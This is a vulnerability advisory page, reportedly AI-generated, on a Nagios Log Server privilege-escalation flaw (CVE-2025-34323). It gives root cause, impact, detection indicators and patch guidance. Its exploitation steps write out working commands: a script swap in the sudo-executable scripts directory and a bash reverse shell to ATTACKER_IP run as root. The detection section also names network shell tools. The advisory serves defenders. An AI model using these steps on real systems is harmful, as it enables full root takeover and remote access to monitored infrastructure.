
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-34323 is a local privilege escalation vulnerability in Nagios Log Server affecting all versions prior to 2026R1.0.1. It arises from a combination of sudo misconfiguration and group-writable application directories, allowing a local attacker operating as the www-data user to execute arbitrary commands with root privileges. The vulnerability was published on November 17, 2025, and a patch was released in version 2026R1.0.1. It carries a CVSS v3.1 base score of 7.8 (High) and a CVSS v4.0 base score of 8.5 (High) (Red Hat CVE, Nagios Security).
The root cause is classified as CWE-732 (Incorrect Permission Assignment for Critical Resource). The www-data user is a member of the nagios group, which has write access to /usr/local/nagioslogserver/scripts. Several scripts in this directory are owned by root and are configured to be executable via sudo without a password. An attacker with www-data access can rename a legitimate root-owned script to a backup path, place a malicious script at the original path, and then invoke it via sudo, achieving arbitrary command execution as root. A public proof-of-concept exploit is available on GitHub (GitHub PoC, VulnCheck Advisory).
Successful exploitation results in full compromise of the underlying operating system, granting the attacker root-level privileges. This enables unauthorized access to all sensitive system data, modification of system configurations, installation of malware or backdoors, and disruption of system operations. Because Nagios Log Server is typically deployed in network monitoring roles with access to infrastructure credentials and log data, a compromise could facilitate lateral movement across the monitored environment (Red Hat CVE, VulnCheck Advisory).
A public proof-of-concept exploit is available on GitHub, covering both CVE-2025-34322 and CVE-2025-34323 (GitHub PoC). Exploitation requires local access as the www-data user (low privilege), with no user interaction needed and low attack complexity. The EPSS score is approximately 0.006%, indicating currently low predicted exploitation probability. There is no evidence of active in-the-wild exploitation or CISA KEV catalog inclusion at this time (Red Hat CVE).
www-data user on the Nagios Log Server host, for example by exploiting a web application vulnerability (such as CVE-2025-34322, a related XSS or injection flaw) or through compromised web application credentials./usr/local/nagioslogserver/scripts to identify root-owned scripts that are executable via passwordless sudo (e.g., sudo -l to confirm allowed commands).mv /usr/local/nagioslogserver/scripts/target.sh /usr/local/nagioslogserver/scripts/target.sh.bak.echo '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /usr/local/nagioslogserver/scripts/target.sh && chmod +x /usr/local/nagioslogserver/scripts/target.sh.sudo /usr/local/nagioslogserver/scripts/target.sh, which executes as root without requiring a password, achieving full system compromise (GitHub PoC, VulnCheck Advisory)./usr/local/nagioslogserver/scripts/ (e.g., .bak copies of legitimate scripts); new or modified shell scripts in that directory with unusual content or recent modification timestamps; new cron jobs, SSH authorized keys, or user accounts created by root.sudo log entries (typically in /var/log/auth.log or /var/log/secure) showing www-data executing scripts from /usr/local/nagioslogserver/scripts/ at unusual times; unexpected root-level process spawning from web server processes.www-data or sudo (e.g., /bin/bash, nc, curl, wget, python) with root privileges; reverse shell connections originating from the Nagios Log Server host.The primary remediation is to upgrade Nagios Log Server to version 2026R1.0.1 or later, which addresses the sudo misconfiguration and directory permission issues (Nagios Security, Nagios Changelog). If immediate patching is not possible, administrators should restrict write permissions on /usr/local/nagioslogserver/scripts so that the nagios group (and www-data) cannot modify files in that directory. Additionally, review and tighten sudoers configuration to remove or restrict passwordless sudo access for the www-data account, and implement file integrity monitoring on the scripts directory to detect unauthorized changes.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."